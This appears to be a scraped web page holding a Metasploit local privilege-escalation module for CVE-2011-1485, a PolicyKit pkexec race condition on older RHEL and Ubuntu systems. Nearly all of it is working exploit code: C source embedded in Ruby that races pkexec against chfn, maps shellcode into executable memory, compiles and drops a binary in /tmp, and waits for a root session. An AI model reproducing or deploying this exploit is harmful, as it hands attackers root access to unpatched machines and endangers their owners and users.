扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::Local::Linux def initialize(info = {}) super(update_info(info, 'Name'=> 'Linux PolicyKit Race Condition Privilege Escalation', 'Description' => %q( A race condition flaw was found in the PolicyKit pkexec utility and polkitd daemon. A local user could use this flaw to appear as a privileged user to pkexec, allowing them to execute arbitrary commands as root by running those commands with pkexec. Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1 (10.04 LTS) and 0.94-1ubuntu1.1 (9.10) ), 'License' => MSF_LICENSE, 'Author'=> [ 'xi4oyu', # exploit '0a29406d9794e4f9b30b3c5d6702c708'# metasploit module ], 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'References'=> [ [ 'CVE', '2011-1485' ], [ 'EDB', '17942' ], [ 'OSVDB', '72261' ] ], 'DisclosureDate' => "Apr 01 2011" )) register_options([ OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]) ]) end def executable_path @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) @executable_path end def exploit main = %q^ /* * Exploit Title: pkexec Race condition (CVE-2011-1485) exploit * Author: xi4oyu * Tested on: rhel 6 * CVE : 2011-1485 * Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ * U can reach us@ http://www.wooyun.org :) * 0a2940: some changes */ /* #include <stdio.h> #include <limits.h> #include <time.h> #include <unistd.h> #include <termios.h> #include <sys/stat.h> #include <errno.h> #include <poll.h> #include <sys/types.h> #include <stdlib.h> #include <string.h> */ #define dprintf #define NULL ((void*)0) #define MAP_PRIVATE 0x02 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_ANON MAP_ANONYMOUS #define MAP_FAILED ((void *)-1) #define PROT_READ0x1 #define PROT_WRITE 0x2 #define PROT_EXEC0x4 #define O_CREAT 64 #define O_RDWR 2 #define POLLRDNORM0x0040 typedef int __pid_t; typedef int __time_t; typedef struct { long __val[2]; } __quad_t; typedef __quad_t __dev_t; typedef long __ino_t; typedef unsigned long __mode_t; typedef long __nlink_t; typedef unsigned int __uid_t; typedef unsigned int __gid_t; typedef long long __off_t; typedef long __blksize_t; typedef long long __blkcnt_t; struct _stat_buff { __dev_t st_dev; /* Device.*/ unsigned short int __pad1; __ino_t st_ino; /* File serial number.*/ __mode_t st_mode; /* File mode.*/ __nlink_t st_nlink; /* Link count.*/ __uid_t st_uid; /* User ID of the file's owner. */ __gid_t st_gid; /* Group ID of the file's group.*/ __dev_t st_rdev;/* Device number, if device.*/ unsigned short int __pad2; __off_t st_size;/* Size of file, in bytes.*/ __blksize_t st_blksize; /* Optimal block size for I/O.*/ __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */ __time_t st_atime;/* Time of last access.*/ unsigned long int st_atimensec; /* Nscecs of last access.*/ __time_t st_mtime;/* Time of last modification.*/ unsigned long int st_mtimensec; /* Nsecs of last modification.*/ __time_t st_ctime;/* Time of last status change.*/ unsigned long int st_ctimensec; /* Nsecs of last status change.*/ unsigned long int __unused4; unsigned long int __unused5; }; struct _pollfd { int fd; /* file descriptor */ short events; /* requested events */ short revents;/* returned events */ }; typedef unsigned long size_t; extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); extern int mprotect(void *__addr, size_t __len, int __prot); extern void exit(int __status); extern int printf(const char *__format, ...); extern __pid_t fork(void); extern __time_t time(__time_t *t); extern __pid_t getpid(void); extern __uid_t geteuid(void); extern void srand(unsigned int seed); extern int snprintf(char *str, size_t size, const char *format, ...); extern int pipe(int pipefd[2]); extern int close(int fd); extern void write(int fd, const void *buf, size_t count); extern int dup2(int oldfd, int newfd); extern void perror(const char *__s); extern void read(int fd, void *buf, size_t count); extern int execve(const char *filename, char *const argv[], char *const envp); extern int usleep(int usec); extern void *memset(void *s, int c, size_t n); extern void *memcpy(void * dst, const void *src, size_t n); extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout); extern char *strstr(const char *haystack, const char *needle); extern int rand(void); extern int unlink(const char *__name); int main(int argc,char *argv[], char ** envp) { __time_t tim_seed1; __pid_t pid_seed2; int result; struct _stat_buff stat_buff; char * chfn_path = "/usr/bin/chfn"; char * cmd_path = ""; char * pkexec_argv[] = { "/usr/bin/pkexec", "/bin/sh", "-c", cmd_path, NULL }; int pipe1[2]; int pipe2[2]; int pipe3[2]; __pid_t pid,pid2 ; char * chfn_argv[] = { "/usr/bin/chfn", NULL }; char buff[8]; char read_buff[4096]; char real_path[512]; int count = 0; int flag = 0; unsigned int usleep1 = 0; unsigned int usleep2 = 0; tim_seed1 = time(NULL); pid_seed2 = getpid(); srand(tim_seed1+pid_seed2); if(!geteuid()){ unlink(cmd_path); SHELLCODE int shellcode_size = 0; int i; unsigned long (*func)(); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); dprintf("Copying %d bytes of shellcode\n", shellcode_size); //for (i = 0; i < shellcode_size; i++) { //(char)func[i] = (char)shellcode[i]; memcpy(func,shellcode,shellcode_size); //} dprintf("Forking before calling shellcode: 0x%p\n", func); if (fork()) { exit(0); } func(); } if(pipe(pipe1)){ perror("pipe"); exit(-2); } for(count = COUNT; count && !flag; count--){ dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2); pid = fork(); if( !pid ){ // Parent if( !pipe(pipe2)){ if(!pipe(pipe3)){ pid2 = fork(); if(!pid2){ // Parent 2 close(1); close(2); close(pipe1[0]); dup2(pipe1[1],2); dup2(pipe1[1],1); close(pipe1[1]); close(pipe2[0]); close(pipe3[1]); write(pipe2[1],"\xFF",1); read(pipe3[0],&buff,1); execve(pkexec_argv[0],pkexec_argv,envp); perror("execve pkexec"); exit(-3); } close(0); close(1); close(2); close(pipe2[1]); close(pipe3[0]); read(pipe2[0],&buff,1); write(pipe3[1],"\xFF",1); usleep(usleep1+usleep2); execve(chfn_argv[0],chfn_argv,envp); perror("execve setuid"); exit(1); } } perror("pipe3"); exit(1); } //Note: This is child, no pipe3 we use poll to monitor pipe1[0] memset(pipe3,0,8); struct _pollfd * pollfd = (struct pollfd *)(&pipe3); pollfd->fd = pipe1[0]; pollfd->events =POLLRDNORM; if(poll(pollfd,1,1000) < 0){ perror("poll"); exit(1); } if(pollfd->revents & POLLRDNORM ){ memset(read_buff,0,4096); read(pipe1[0],read_buff,4095); if( strstr(read_buff,"does not match")){ usleep1 += 100; usleep2 = rand() % 1000; }else{ if(usleep1 > 0){ usleep1 -= 100; } } } } result = 0; unlink(cmd_path); return result; } ^ main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode")) main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"") main.gsub!(/COUNT/, datastore["Count"].to_s) main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG'] cpu = nil if target['Arch'] == ARCH_X86 cpu = Metasm::Ia32.new elsif target['Arch'] == ARCH_X86_64 cpu = Metasm::X86_64.new end begin elf = Metasm::ELF.compile_c(cpu, main).encode_string rescue print_error "Metasm Encoding failed: #{$ERROR_INFO}" elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}" return end print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" rm_f executable_path write_file(executable_path, elf) output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") output.each_line { |line| print_debug line.chomp } stime = Time.now.to_f print_status "Starting the payload handler..." until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f Rex.sleep(1) end end end |
体验盒子
